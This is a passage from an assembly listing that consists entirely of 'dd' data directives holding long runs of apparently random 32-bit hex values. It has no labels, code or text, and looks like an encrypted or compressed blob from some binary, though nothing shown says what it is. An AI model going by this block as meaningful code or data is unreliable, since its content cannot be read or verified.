0CDFED5F6h, 80040E85h, 0B9B80BEDh, 177724A9h dd 9FE50861h, 0AFE46227h, 60E66B27h, 29E0586h, 2966EC32h dd 78F2DD8h, 0B72ED781h, 1DEC2A59h, 6CD6E987h, 0B09FEE4Fh dd 8060467Eh, 50015866h, 88B5B353h, 0C855BD8h, 97C9E9A0h dd 65DF9954h, 0B1054B90h, 8B5EED7Eh, 5B6C78EEh, 4140FFBFh dd 0D97702EBh, 0B0297B04h, 5F0881CAh, 0C1C1EC3Fh, 713C709Ch dd 611E9440h, 0ED5B5FDFh, 0B5871094h, 41768F44h, 70C03E74h dd 30391EF5h, 4E0D6FBAh, 0B2C11743h, 70EE88AFh, 4123C360h dd 0B0C82061h, 0BB0E0643h, 672962C3h, 0EB4B4DF0h, 1D653A00h dd 2F413D5Fh, 21FDF9E9h, 0FA05012Fh, 0CB16806Ah, 6E30297Bh dd 4AE30E4Fh, 0B1285E37h, 0ABD9049Dh, 4DE95FB4h, 580A68D0h dd 1D9DA89h, 8F0659B8h, 0B9E8307Bh, 3B707D0Fh, 2A4B0CE9h dd 4BEDECACh, 527641E5h, 3B356203h, 8302B0ADh, 312244DBh dd 9FF06CD7h, 0F364820Eh, 0B693C27Ah, 7FD16802h, 0D3FE22EEh dd 5E40E25Dh, 1A2C35B5h, 0E92EC7A6h, 0D2A72575h, 0ABC66BBFh dd 0AE576E05h, 8AEEEF16h, 0DBEFD7B6h, 102C4C9Ah, 74B267Ch dd 0A2C731FEh, 27E4C64Eh, 4E1ECA27h, 0FE6831E3h, 0E9575B45h dd 0FD70CEDFh, 727F880Ch dd 4052AA32h, 40B55D0Dh, 3E04D2FFh, 3E994FE3h, 70811B2Eh dd 0B43E6368h, 0FF11801h, 70C66818h, 0BBDF9D27h, 3EC4EB2Eh dd 125BE93Dh, 7981F315h, 25BDD758h, 0D411D5B0h, 6803E628h dd 0F8296440h, 7AC14945h, 5DAB2D1Fh, 33109E97h, 4420734Ch dd 42EEB904h, 0F0FF2F90h, 995B1EFh, 5B03F49Bh, 52560C00h dd 0AD4AFB68h, 3798A04Ch, 4CD6BA71h, 6979E921h, 700045D2h dd 496A1BB3h, 80FA5AB7h, 62F16808h, 0FB22D51Ch, 0D8AF5A04h dd 0E895C1A3h, 96256657h, 10B763D1h, 2EF16303h, 0DADA06DBh dd 0BE94A0EAh, 504C258Fh, 6C6B218h, 946F965h, 8B2FB0D6h dd 0BD0F53A9h, 0A3BA4293h, 0EB9680h, 273EBFF7h, 0E2B58936h dd 58C169D1h, 8FAD528Bh, 91D31855h, 6DFE8248h, 0DB258E00h dd 0C1D9F75Ch, 24DA76B0h, 0D0BC3AA3h, 0A566A8D6h, 2CB510E8h dd 0F82FE98Ch, 0B3211666h, 0BE183435h, 823AECF1h, 1B8407F5h dd 0BBA9EAE3h, 1149E9C2h, 0F800945Fh, 0ED4C5AA6h, 389D9756h dd 0BC7BB43Fh, 393D1116h, 0BF4880F8h, 0D32C404h, 4B10004Eh dd 59E9029Bh, 5A1689B2h, 5076AD05h, 6C1342BCh, 42173DE8h dd 2D6A54A1h, 0C30A6892h, 2F404F68h, 0E4D830A9h, 45F519AAh dd 0E5A5A576h, 0B965E0ECh, 4569E51Dh, 18C981C0h, 0AB1C9515h dd 40E0C0DBh, 0FF7A5072h, 0E9497A08h, 869C81E3h, 2A77B53Bh dd 697EFCADh, 43820C8Eh, 0DA7E97D7h, 98278CC8h, 9C182F66h dd 0E65AE52Ch, 53BE5E2Ah, 93BEA38Bh, 6BF5D9BBh, 62E92B05h dd 0CEC4D758h, 45292D3Fh, 0D2800678h, 484A1B51h, 570934E8h dd 0B6569E6Ah, 0B871E904h, 82E5FCBAh, 0C8FEF554h, 25E5A17Eh dd 618A5C2Eh, 54434219h, 0CE876805h, 706FFF09h, 0C908D6AFh dd 48687B21h, 0C39A3819h, 0D0743967h, 9555A9E9h, 0FBBCD979h dd 97DB0A95h, 0ECF24CACh, 0D84E30E5h, 6A8B0D38h, 87105B28h dd 8B7307Fh, 2D00E52Ch, 671B209Ah, 1C7C090Dh, 6A7F0E77h dd 6C8FF579h, 52835A0Ch, 82EA8925h, 0B7BF7DFh, 163C365Ch dd 16924C85h, 9C40D7F9h, 6B4B7F21h, 0DE79761Eh, 0B40F9B8h dd 9A72A959h, 7D673A4h, 2F07C125h, 426E67Ch, 80980872h dd 19FFC9A9h, 7E7FEF2Ch, 86EC2813h, 0FA28ABD6h, 0F29081DAh dd 98995422h, 1F1ABDA4h, 4B719337h, 0E4C421D1h, 4BE664Eh dd 81F44C0Bh, 0D8F7BD08h, 554D0E65h, 13AF5B16h, 9827045Ch dd 0BA66012Eh, 6AE40731h, 6AB0BD17h, 0ECB52969h, 30D6B7A1h dd 0B3B72A6h, 2409E2A4h, 45B8DB50h, 0DC54532Dh, 300929E8h dd 23F3DFC3h, 0AEF3F50Dh, 0FB8C842Ah, 23116B40h, 5DE9102Bh dd 0A84EFAF4h, 2FC81696h, 291706A2h, 89FCBC47h, 0C89EFD32h dd 0F62B129Dh, 5BBA02CFh, 0A0F0683h, 92808EBh, 4B6F6820h dd 0EB8FBE5Dh, 807F44Fh, 92D5CA41h, 0D2F7C78Fh, 84610F8Bh dd 360FFBFh, 0E1739976h, 9FC0B749h, 95FCF11h, 0EB5401FFh dd 0F2C52591h, 883B752h, 0E9171C40h, 71355825h, 16BA775h dd 2109824Ah, 0D8645D4Eh, 87F52909h, 780F5EEh, 5EDC420Dh dd 8374549Dh, 2D3078A2h, 3BD436A9h, 0E13FD7D9h, 0B57BF4E3h dd 57F7C5C0h, 0F7FDEBB2h, 9E676DAh, 676AEE28h, 5AEBA00Fh dd 0D5214332h, 3A231068h, 18EE2A8Ch, 983D7E55h, 6D062932h dd 33FDE963h, 0FD055E3Ch, 0FEDC6302h, 47F71207h, 4264BD20h dd 37FA16FCh, 0EAA01DE8h, 7103CB7Ah, 0D6E95233h, 5B24273Ch dd 0C6550055h, 760751E0h, 84CE0619h, 182A1227h, 5B36DA00h dd 0E9575250h, 0FF9A60D0h, 0F34BBCC2h, 10EB2D5Fh, 5F2F08F8h dd 0AA5A41F9h, 0B542A546h, 6856003Eh, 0B8B9722Fh, 3192A424h dd 0E088CDFAh, 77B85AD7h, 690270EEh, 142A0513h, 9139616Fh dd 0C594D26Fh, 0F4217CE8h, 0A7CAC7B7h, 7B42EE51h, 8093D54Ah dd 0E3496EC1h, 0FBF555CAh, 5F1249E8h, 79793DC1h, 6FF45A11h dd 30229C59h, 1393E939h, 0DAB1DF95h, 0C1F064F4h, 507E224h dd 3178302h, 3055FE2Ch, 5F0FB4F0h, 86353000h, 0E96BA30Bh dd 402E40CEh, 7B0F05E2h, 84147222h, 0F9D60FC5h, 2B6C004Ch dd 69BA0B60h, 0B4599FD7h, 952D028Bh, 5F196B50h, 7049762h dd 26BC05Ah, 0FAE5695Eh, 3CE3AD82h, 0F8E03866h, 0DB14419Dh dd 0F567672Fh, 7E9DFB08h, 0FCF08642h, 1BDE406Dh, 28E931F4h dd 294D063Fh, 5A684CE0h, 5FFAFC05h, 0CB9314E9h, 4F1F3B83h dd 2D680D88h, 1BFE165Fh, 32295951h, 1FF1E981h, 0D97A3013h dd 5A0852D0h, 713CA6F1h, 576A0E4h, 0EB28A097h, 64C1769Ah dd 0FFC7320Eh, 412040CCh, 661601Ah, 0EE6575B0h, 0C7852910h dd 44F11928h, 8D0CC147h, 8871A579h, 73491668h, 5BE2FCD7h dd 0D2B747ECh, 6B8724A1h, 6F9ECD0Ch, 5FD97481h, 32C25781h dd 0F64CB069h, 2C4DC475h, 5A11FCE1h, 0CB305Ch, 772816B8h dd 1F2901Dh, 138F454Ah, 3A4B30E9h, 0F37ED78Eh, 5921093Ah dd 0DEEC317Dh, 97DFE7D3h, 98D9CEEFh, 3B1780F0h, 0EE002D8Ah dd 27422AFDh, 0DE958DE9h, 60E8047h, 4BBA02E2h, 0FE256918h dd 2D5E495Eh, 88772DA5h, 0DE270829h, 6BC2C2E5h, 0B1055A00h dd 0DBC485Eh, 72DF814h, 0F786AF48h, 4B762A85h, 680DBA25h dd 3536460Ah, 0BE0C2E0Fh, 33F8EAD5h, 0E78BBAB4h, 0EAE1D212h dd 3E172BB3h, 0DD3AB853h, 0F09809FDh, 62FB54FEh, 0B3C9FAB1h dd 161660DDh, 39C98FC0h, 0F632CF12h, 95037010h, 13DB3C77h dd 0E5935EE9h, 6EC2312Bh, 0D010FCE6h, 161E4C0Eh, 66A2095Ah dd 0EC81500Bh, 190BEECh, 0A0784827h, 0BE5372F8h, 46608261h dd 0BD4882C7h, 0E3D14064h, 495B3712h, 805BAB5h, 56A3BBE8h dd 151B8010h, 1113593Bh, 0ED72FFC8h, 0DA71DF5Bh, 0FC2A5842h dd 0EC2F681Dh, 0AD9CA64Eh, 0A2C9044Fh, 6025F5FAh, 10419FB8h dd 6C32D92Eh, 0B6B802DEh, 62152E3Ch, 2D85764Bh, 8472BAD6h dd 290431BDh, 91A3FECAh, 0AAADE98Eh, 0F6C06F27h, 1ADD09C9h dd 1E535F1Eh, 0F1FE1C78h, 0CF485E73h, 36164F64h, 17ECDAEFh dd 73B91E76h, 0C2C28987h, 85654CFh, 0B8E42AB4h, 3CFCF35Ah dd 0FF9192F7h, 1779DCF4h, 0B8294972h, 590840EBh, 4413AE9Ah dd 0CFAC74B4h, 0C2F78085h, 566495ABh, 7673C507h, 0ED654F1Dh dd 0D85ED4EBh, 0EF25E9F2h, 95FD219h, 2EE24416h, 40EA6AF7h dd 6438C4Dh, 6E94E57h, 0BB0E6A72h, 0F61E3F78h, 5609DEB8h dd 0A48DDBBEh, 62AC8228h, 77DDD3D4h, 0A0DD9889h, 333F3643h dd 0E870BD7Dh, 0DAA1A402h, 44EB3147h, 61252D07h, 73EF9E54h dd 54D587EBh, 5CCCFE1Eh, 3D6B1EBFh, 0A38FADFCh, 3C29900h dd 0DF4801AFh, 0FF651211h, 0D968E2FEh, 0A905F04Ch, 61B52792h dd 0CB6E0152h, 0E28B5088h, 91546840h, 0E35ECB6Dh, 12A35C93h dd 0BAAE68C5h, 0CBFBC917h, 0BF411779h, 6D53938Dh, 58FAEA57h dd 245858FBh, 5A9AEDB4h, 6809D0CAh, 0ACD46D27h, 6C3995Ch dd 0D32B3468h, 8058EE20h, 2748BFD7h, 185E4508h, 0DE5DE400h dd 2D20BB1Ah, 0B8DABA04h, 3057E90h, 4B025C2Fh, 0E2501990h dd 0FC0BDD6h, 0B5B4DD29h, 51685760h, 5341F53h, 0ADFAD45Fh dd 0B7501CE2h, 0E30E82B5h, 0F8A4775Eh, 0C0BCEF63h, 0C2292163h dd 5AFA92EBh, 2DC3685Dh, 4A31FA5Bh, 3DA0C1C8h, 0A21D05ECh dd 4217EE66h, 0E27FC2AFh, 44F26A60h, 0A44BA078h, 415D32B8h dd 0D25C14C9h, 7DC133CFh, 0F22F5AD0h, 69BDCCB4h, 0F7F11D81h dd 0FBB55392h, 2DEE2416h, 7F6682F3h, 0DC334802h, 5F0720D2h dd 1783345Bh, 3168D2C4h dd 4AFF58F5h, 0F2F0E4C4h, 90EA5E4Eh, 715320CEh, 0D2DF0A7Ch dd 0A15DE8CFh, 0C63EEDE4h, 0EA4B4E3Ch, 2829633Dh, 0B580B886h dd 0E9C1210Bh, 4911A06Fh, 1810E181h, 0EE427004h, 0DC0F11BBh dd 0D390E923h, 0B0109CB9h, 4C54888h, 2E4E126Eh, 40A34BDCh dd 0B7015334h, 80D7F6F3h, 0F17A01EFh, 0E9109DAFh, 0C0586BAFh dd 5EC1760Eh, 0C03CE271h, 32AB6B98h, 65F04829h, 9767F200h dd 0B436E96Fh, 0F4AE42D2h, 0FB968CEEh, 3D28F381h, 0B6001A1h dd 9E7B1D9Bh, 0E960E4E3h, 0B8350EE0h, 0EA7849EEh, 4AF35897h dd 84FDB937h, 854B2348h, 6F278F74h, 0C67FA524h, 7A04A90h dd 23BBBF88h, 0D5D2FE44h, 13D7A7Ch, 78A72185h, 0F47AEFD1h dd 431DFDF6h, 0CF873E3Fh, 3BA617A9h, 5C450C0Ch, 336066C5h dd 879B0D17h, 0E91249FAh, 79BDCC7Ah, 56611281h, 0EB4A0928h dd 0E8576309h, 3F40C312h, 6926B38Fh, 77358115h, 0E93D73ECh dd 14DFEAE3h, 487E2E85h, 6084C912h, 75B80088h, 43B3D39h dd 1325FA05h, 0DB4EB41h, 79681C5Ah, 0CCD72775h, 54552F1Dh dd 0A4F19FD5h, 7F0F08E8h, 5C8923Eh, 76B9A4AAh, 68044BB4h dd 0CCFA772Bh, 0E19F20DAh, 0D3C5E90Ch, 5BEDDF82h, 0E480763Fh dd 41F813F5h, 8EF03AE3h, 3977BA02h, 6C3A6F2Ch, 0E828F009h dd 6EB14E87h, 264B2113h, 14BF01D1h, 1423A2F8h, 610F781h dd 1872C527h, 0D8DBE912h, 4F9531BFh, 68510163h, 0C95E5E2Ah dd 0FA5F2186h, 0F4C8E6E3h, 90429535h, 258147FFh, 3DD90F32h dd 34FA7D69h, 0D656682Fh, 0B6E96129h, 8BBF6D77h, 12208050h dd 9853C11Ch, 0FE024FB2h, 0EB4D0042h, 8C40E1Eh, 0AA4EC40Bh dd 0ACFCFD05h, 12F0F2BEh, 0F4E40E44h, 266717E6h, 3AB5F049h dd 14D41D01h, 15E9CE31h, 0BB13C42Fh, 2B547ACh, 12029959h dd 2FC3EA41h, 0E909C4FCh, 0A576632Fh, 40807BECh, 0D150212Eh dd 0EA13F185h, 630B4A7Ch, 7D82C255h, 4B4E1E50h, 62681680h dd 9E699731h, 4EE040Eh, 8002E70Dh, 498068BCh, 0ACC7314Eh dd 2086E6C6h, 699887EBh, 0BF125773h, 0D50327B5h, 0E61F92CFh dd 415C9446h, 264A9A68h, 12A6014Fh, 0D331E357h, 3C26ED50h dd 0A93A4B0Ch, 5B0840C7h, 993EBCA0h, 53D35800h, 954BEFBBh dd 0AA294E17h, 11542CBh, 750CE7D6h, 0DA40290Ch, 7B7F3C1Fh dd 335632Dh, 0FDD8EA74h, 32093ADDh, 122064E9h, 0EB47EB94h dd 0FAACE9C5h, 44C21B8Ah, 56BE18ECh, 43F01D63h, 378C4CC1h dd 0EA2045A1h, 0C3237D1h, 8DEEE78Bh, 89C23D10h, 0BA325F50h dd 58C67DA2h, 109E7E7Eh, 32D8F960h, 3AFC9D90h, 2F5FB8C0h dd 0F4364A96h, 700EF57Ch, 0DE7DC244h, 0B06405Dh, 5BDC5648h dd 0F796DC3Dh, 0C861F94Eh, 0EC6ABF8Ah, 0CD5DA350h, 4F39F2FEh dd 0B729A50Fh, 0E98385ADh, 0FF843392h, 8698FAE2h, 0BE804EF7h dd 53700F47h, 78394625h, 7C01050Ah, 765E624Dh, 2C4FD2Bh dd 8416A1ECh, 0A597F129h, 9AC0F664h, 40C27541h, 0DD003F7h dd 5A7353C6h, 0F68B80ADh, 352D4809h, 294C0FFAh, 7D1657C3h dd 87F46F30h, 50800CF1h, 0FACF8D21h, 0BFF34C7Ch, 0D540AED3h dd 68525559h, 320C031Ch, 7B38E965h, 92FC434Bh, 0E545EC4Fh dd 6FBD8DAEh, 30A4A606h, 0D2BB002Ch, 81073D71h, 410199CBh dd 0E9431511h, 83A4CA4Eh, 95E6883Ch, 5D9A2D01h, 85235290h dd 0A037E985h, 0B3984F44h, 0BDDE00B5h, 1FC85461h, 9EE2965h dd 0BD54E4DFh, 9D2E662h, 0C2E79404h, 3062D01Ch, 59FA18C3h dd 0F5C48B75h, 0E916909Ch, 77C899F2h, 0EB0F2D89h, 0FC25945Eh dd 0E5787280h, 0B7A1B500h, 0E9EF3065h, 453465DCh, 0A0A1FBEAh dd 0AE3453EDh, 45370CBBh, 51643D23h, 39F1F212h, 52FB7917h dd 0B45117D8h, 8F3DC7A6h, 4EFEB0DCh, 5E2F75A1h, 41ABBD35h dd 59A13A08h, 575C8411h, 5861AD2Fh, 291F1692h, 41E6688Ch dd 7F7F4C0h, 0EBCB799Dh, 31907365h, 8E99C0Ah, 168992AEh dd 1BF9116Bh, 0EB5950C5h, 27BBF220h, 29531307h, 0D082F84Ch dd 0A8F84E0Ch, 0B50BFC4Eh, 89BEF2BEh, 0E4477D5Dh, 46138F8Bh dd 39E801FFh, 2CE90714h, 7A632A26h, 34C90522h, 82E8C013h dd 0C0EB5610h, 735ED63Ch, 0FAC73E55h, 0F6EB58D5h, 0D7E85B33h dd 0F072CE0Bh, 0F5955946h, 0D42FD515h, 782C02ECh, 0DE421F50h dd 951D12Ah, 0B759B6DAh, 0AB8E5493h, 0FEF88B0Bh, 0DD62A2D9h dd 5496D562h, 0A04BAAFAh, 89A70E5Fh, 95515782h, 7A777C52h dd 0E9FD307Dh, 84FA9AE2h, 433913FAh, 0EE28C3BAh, 0FAB3AE03h dd 9A5BDA88h, 1D0660D4h, 0D82180ECh, 5FC97AB4h, 0E7365840h dd 455E7CBDh, 0FBB656A8h, 0BC09868Ah, 6CEEFEE5h, 9E3B7777h dd 0C4C1034Eh, 0D9267F30h, 882B170Dh, 501266D2h, 88A96AB4h dd 0D3681378h, 9B2EE85Ch, 0DC5C504Ah, 0A0EA906Fh, 13D4E343h dd 72A483Fh, 0F3547D7Bh, 0E0E7D153h, 120E6FF3h, 0D801E704h dd 0CFF811E9h, 943EB64Bh, 22408E8Bh, 0A95D31E2h, 6492DDFCh dd 744CCB00h, 29621936h, 0FF7B219Bh, 5BA03C66h, 0C080690Fh dd 0A1065FECh, 2AD3116Bh, 0C1C993E5h, 0B84AE7ADh, 0E32412A4h dd 68C3F6EDh, 3B197B17h, 0C3C1F372h, 0FF13EE2Ah, 28979EFEh dd 12F3CC1h, 673A593Bh, 0D6FEEF21h, 6C3EE49Ah, 8092F19Fh dd 18576297h, 4C4431E9h, 0C5503C1h, 0CB21DD3Dh, 89D89CEAh dd 391E6813h, 0D914D4A3h, 50071A09h, 0B444A834h, 1B0B89Bh dd 0CB1B1DBAh, 0F1614A0Fh, 3FBD3570h, 40131F91h, 87FC1E4Dh dd 60730510h, 0FD6F7FE5h, 298147Dh, 647B6B41h, 2E09FF92h dd 0C3CC577Dh, 0BA9F5F4Ah, 232DE90Ch, 7E45B0C9h, 846CB87Eh dd 49B3346Ch, 4EC7C010h, 57DA80AAh, 1B1F9B68h, 0FEC5496h dd 4BDDCC25h, 0B93EC44Bh, 3A1F84FEh, 0FC1A0F8h, 2E28233Fh dd 0A8E553FAh, 60B95BA3h, 0F51AE84h, 0AAED5F5Ah, 5121A32Dh dd 0AAE3F30Ah, 76585B0Bh, 547D5243h, 583724A1h, 98A55059h dd 0FCA08464h, 5556015Ah, 744A9E68h, 641B7B2Dh, 0F5DA825Ah dd 9445D0Fh, 2174FF1Dh, 0EE4C84BAh, 0F2FC5AD1h, 0E261F274h dd 25237A94h, 98753DCFh, 0E35C68DCh, 53778C6Ah, 0BF5E844h dd 543D741Ah, 9B7AD90Bh, 0E658E912h, 0BBD7F0ECh, 61832885h dd 0ADEAEC45h, 48E9A12Ch, 9A593524h, 0B1274BE5h, 0A42B2DE1h dd 4CFAADBFh, 5012186Ah, 1D7FEF31h, 8959AF4Ah, 8385FCCFh dd 0C9EF092Ah, 48CC0AFCh, 6A687453h, 3E296074h, 69A0272Dh dd 0E799E170h, 7B060AB5h, 7FC71A15h, 742422F6h, 0F701A0B9h dd 0D57B0150h, 0CDA1E16Eh, 0B5126ADDh, 49E97320h, 0BA7EC0AEh dd 0AF764F5h, 292F789Dh, 9EBE1719h, 0B760E68h, 9E81C092h dd 664FA060h, 3F5188B4h, 0E989F87Ch, 0B27C0BB9h, 80DE4350h dd 4B0E2D95h, 0A003AD1Ah, 655A6C57h, 0B76B2DE9h, 0FC2753FAh dd 0D02C928h, 0B2764189h, 0B3B3B5Dh, 6B68F17Eh, 729D18FAh dd 0D494B7F6h, 0A14F527Fh, 0BC685503h, 4533120Ah, 0CB17F8BAh dd 9C3E133h, 80E0AF71h, 0F383A98Ch, 0C1DB626Eh, 98D2D877h dd 0DEF49D4Fh, 0F5CE7827h, 8279D4F6h, 3DB03CA6h, 7D5A42D7h dd 763BDA80h, 531D1F65h, 19CC17BBh, 9EE06C70h, 0A4CD672Fh dd 4E15A828h, 1A919EBAh, 0D73CDA9Fh, 53925059h, 0BBDB1D05h dd 892B63FFh, 0B92C2DFh, 0F8C94354h, 5EB22676h, 4A5A0C82h dd 8913C2B0h, 0D409631Dh, 5E3DA5ADh, 5DCA6CFFh, 2177919Dh dd 0A5BBFCD2h, 0C1D8D5Dh, 929EC2Ah, 5514EFE9h, 0F8FF3A92h dd 95EBEC96h, 0D8A20B55h dd 97517E8Ch, 2D00DE59h, 5DDE30CBh, 0EA4B0705h, 0EB89B0C7h dd 0FCBF8816h, 0C12158D7h, 0A078D09Dh, 0B45D726Bh, 0ECE153BCh dd 0FE347A3Fh, 4AE94280h, 0AC8AC275h, 754ED830h, 271F3220h dd 13DBB468h, 13FFCE16h, 4B04EB1Eh, 0F8BB93D3h, 3FE3B750h dd 0F94509CDh, 1383E15Ch, 15058B17h, 0D4254F4h, 0E7F59800h dd 0B06DF77Ch, 0F7E3F97h, 0CDE0F8A7h, 0C25E685Bh, 0C07EE18Dh dd 0C67685D5h, 0EBF8535Ah, 0D2253D01h, 2B3AE90Bh, 0A4CFC185h dd 4829EF5Eh, 2A97DD7Bh, 91A144E8h, 0C38001F8h, 57BC23Ah dd 455F82F5h, 0EE0402C7h, 9680545Dh, 0F72803Fh, 0B44CCB84h dd 1FD2840Ch, 5CBFF812h, 0BC0518E4h, 17A0CE86h, 0BA5F176Fh dd 0B1E9F044h, 0B4BDDCE0h, 0BF578B8Ah, 0E9B76077h, 42C2BD39h dd 258ED37Fh, 55DA73Ah, 39ABFE15h, 9CE16E34h, 0E955203Ah dd 2BB3C9D4h, 0CB3DC8AFh, 7B65BF0Ah, 20EB0D08h, 718D3B9Eh dd 0AB99023Dh, 731C9F16h, 9AE985F3h, 6B9C2D96h, 0BCF8A0DFh dd 25342F0Ah, 8D208358h, 5F183C0Ah, 0DA06A26Ch, 0BF83FEF6h dd 0D732FE7Ch, 80735558h, 418E5C2h, 0BF95BA58h, 0CE4CA1FFh dd 8C3393E4h, 0C8C73B29h, 16426D50h, 0EFFD8955h, 3180CB0Fh dd 2A8EE72Ch, 0A0FD9791h, 1B1E0390h, 513D216h, 98FCB0DBh dd 76482744h, 0CC88C7ABh, 71C7E625h, 16AEF465h, 0CEC8B14h dd 4A59D8E9h, 36169D57h, 0BF107220h, 0E595E672h, 23DBADD3h dd 8AC077A5h, 0B74AB4E9h, 954812F3h, 434C9C2Eh, 2EDA3E4Bh dd 62A7770Bh, 8E046929h, 0F7001396h, 7EF84BDAh, 42F8BF5Bh dd 5CF38102h, 0F603F7C2h, 0D96709D0h, 0E459D119h, 45993D14h dd 0F7406889h, 13D6CAB0h, 5A4B3B94h, 440D2A01h, 0CA5E4B24h dd 0E5294FEBh, 0DF5B3632h, 0A0E93965h, 0DFBA0922h, 0DF0362h dd 945D7FFDh, 0B4BB878h, 4C0D0AD3h, 3484E04h, 8258E288h dd 6D71DDD0h, 2CB75341h, 0BD14443Eh, 9BE0020h, 4F1CD116h dd 61A0BC46h, 76E4E90Fh, 0BC117055h, 0D2BB03FDh, 0D213F63Eh dd 50970BAh, 9206742Dh, 0F0A2BE3Bh, 0F3613185h, 2F391001h dd 2E67FF5Bh, 5DCCEDD2h, 2188F05Bh, 0DE2C8404h, 3C1C08FEh dd 45136293h, 22112FE9h, 0FBC9CF33h, 0B5B841B0h, 1E95E82Ch dd 5F7B2FC1h, 5F602817h, 5060FE8h, 0E55FA287h, 5EF7A922h dd 8BA1F377h, 7628EE9h, 0CCECF3F7h, 82968BFh, 0CA0C4C0Dh dd 2551C4DDh, 2E7826B1h, 0D02FE11Fh, 0B43118AFh, 0EF4FA79h dd 0E3B3530Eh, 62E5DC09h, 58E12800h, 2E6EC780h, 0A5FB07E9h dd 16976BBCh, 0C15E590Eh, 0A6E6F9C6h, 0A2685C09h, 79B06411h dd 0EBD0156h, 0C15E7120h, 0C6B320E6h, 3DCCE0FBh, 97EF49Fh dd 0F5D5AD1h, 8042FE7Eh, 578FE972h, 0E57FF309h, 18FBAD13h dd 0F70C900Bh, 29950DC5h, 58B825A1h, 686E1C91h, 82B3E9B1h dd 8370E95Ah, 2380F6A0h, 37904A7Dh, 560EF37Dh, 0A443072Ch dd 0CCEA0B10h, 3B3BEA2Eh, 872C2B7Dh, 4E1CCD96h, 3D46F367h dd 8A145329h, 69AB22F2h, 47B7FE58h, 0E0E9097Fh, 1669C60h dd 45C0D74Bh, 0B55FFA89h, 13CF7F50h, 0E9278105h, 912EA273h dd 0BF0321A5h, 70177954h, 0CBBA43DCh, 0E0DC5AF1h, 767B5D8h dd 0D926EF0Bh, 32998845h, 0F7126227h, 0C8091ECEh, 7F9FB03Bh dd 0AE97B902h, 177CD177h, 3D8BEE5Ch, 7EE90776h, 5E462025h dd 6A690969h, 89E644DCh, 0C66CF88Ah, 9DB8E49Dh, 0F36B28DCh dd 48F22849h, 12D21252h, 0BED2AFB8h, 0E951576Ch, 8017DB26h dd 372D1C29h, 0B6526607h, 0A504678h, 0F6C9BF83h, 0F78FE54h dd 95A31F5Eh, 8809B307h, 0D6E8D2DAh, 0F3CB80AEh, 33B96A60h dd 70DF0E17h, 2A20B808h, 6AAF032Fh, 0C22979CCh, 0E9088840h dd 0DF5A0C25h, 0BE038746h, 31B13A4Ah, 2115B0BFh, 954B9A28h dd 675C12CAh, 8570B7ACh, 0D8799FEFh, 98962CBAh, 2685F02h dd 6078DC27h, 1E0B5BEDh, 6E5DEACFh, 432389CBh, 967F895h dd 4F277C97h, 3DE9ECEEh, 0A0B62494h, 0ECA66C09h, 160E4AD1h dd 7D6FE7EBh, 4FC69E5Dh, 0EA93FAF6h, 214E588Bh, 120F075Bh dd 83DC770Ch, 417DC16Fh, 10264445h, 62D14F18h, 8204FCF7h dd 0F989888Ah, 0B472DC2h, 31200AF8h, 0C1507A46h, 9B355858h dd 7B02E110h, 0CBC80D84h, 4A0EB892h, 3DA6CD0Bh, 0D2EF4A28h dd 0B0655A26h, 3906E98Dh, 1ECDC5F8h, 0D20E7A61h, 5E74BC9Fh dd 0B9807FADh, 8312901h, 8127C09Dh, 26840BE6h, 20F76C6Fh dd 0D2F262BBh, 972B90A1h, 0E8E5E952h, 0B94E0AE9h, 2B5D7890h dd 0F75E1A0Dh, 924010DEh, 2BC5A624h, 61BB159Ah, 75B355Ch dd 0F3034BE2h, 804CA5FCh, 0C22FC30Dh, 0A86BD24Bh, 0ED4F76B4h dd 290C0FFEh, 0D4E7E985h, 3312AF93h, 4281CFA9h, 6F4DD46Bh dd 40B242A4h, 686C47BFh, 4F1B8A73h, 9A4AFD09h, 9E52DD9Bh dd 21628B99h, 89C792D1h, 68D3E0DFh, 0E67EE352h, 35E9822Eh dd 20D9D7B9h, 0DF485569h, 0CD2F6866h, 84AD2959h, 0C0AB5AE4h dd 6BEF8026h, 0C9B0E7E0h, 61E2E9EAh, 0DBF2C7A8h, 1E63712h dd 4E92FD01h, 7E0B64h, 7EBC184h, 79BF33E9h, 78688358h dd 5B83623Dh, 460234Ch, 5C5DFEA5h, 32E8E8C4h, 92482D4h dd 227AC0ECh, 0D12F1DFAh, 0CD5F3E5h, 0C3974386h, 0CE49770Bh dd 1C285D67h, 76E90608h, 0C50727DAh, 3313981Ch, 0DFEF89BEh dd 0CEEE6D99h, 0C86F71FDh, 69920345h, 4A526C58h, 54AC5E99h dd 8312EED7h, 0F2BA7F1h, 0BECB8177h, 20916A82h, 20EA4EF7h dd 6813B49Bh, 0A34145Ah, 0E90128EBh, 0EB0BDF5Ah, 62E6775Bh dd 545F2225h, 57E8C219h, 0FEC38003h, 28CC1706h, 20BB39D8h dd 1A58A31Dh, 8668C23Fh, 471D7D70h, 0C1E939B0h, 4A1CB0D8h dd 0D0CBFB66h, 63206809h, 19F096F5h, 847162E9h, 0C5B07F5Bh dd 0ECCE5A13h, 0D2BBC0E1h, 0FD6A337Ch, 912BEDCDh, 5096EBADh dd 0C939F3EEh, 2980580Ah, 0EF0093DFh, 62EC03A2h, 7B9EC951h dd 1C370466h, 0C6E36388h, 99BA5BE4h, 7C28F0CEh, 0F6156E9Dh dd 2EDA6146h, 6A87F229h, 55C125ACh, 3FF06EE9h, 0F4126A8Ah dd 0C6559C78h, 58035C9Dh, 21AC424Eh, 779248F6h, 353D6812h dd 36944DF9h, 12A5BB2Eh, 8005C560h, 131AD039h, 2C112258h dd 4100D5Fh, 0C016F25Eh, 6D6C9DBDh, 27F985Ch, 1CAB398Eh dd 7E86BE9h, 348E3C0h, 50302527h, 578CCBFFh, 55620F59h dd 8BEFF356h, 0BE5917E9h, 3935BE01h, 8F71295Ch, 0B7A1CCF8h dd 43424851h, 71580598h, 3D03585h, 1575A788h, 422133E1h dd 48312008h, 0D713FFC2h, 6A73FAFEh, 53E9DCB0h, 56156700h dd 0F7DD8722h, 0C108D361h, 0A92F04E5h, 0F0C81F58h, 0FDA63D4h dd 87270558h, 54EEEE29h, 0D164F08h, 0A8C7F1D3h, 76517669h dd 83479029h, 37D82F08h, 0F6C995F6h, 0D01DC5E3h, 0F7ADBBD4h dd 6936BF26h, 0F92B8B02h, 0C3716919h, 11A90844h, 0AA7DBC12h dd 20502E63h, 45B51EEAh, 3658AF54h, 5D372D01h, 5AF1E95Fh dd 0AA57266Fh, 286D5722h, 0F9759CAh, 5745378h, 0E1FB42C4h dd 7F417F01h, 23F014EEh, 7E96894h, 0F9D23175h, 3E6B682Ah dd 0BC4F20ECh, 69EF93BAh, 4FCF6E6Eh, 0BCBA5201h, 7065C976h dd 0DD3B81Dh, 5AD5C2A0h, 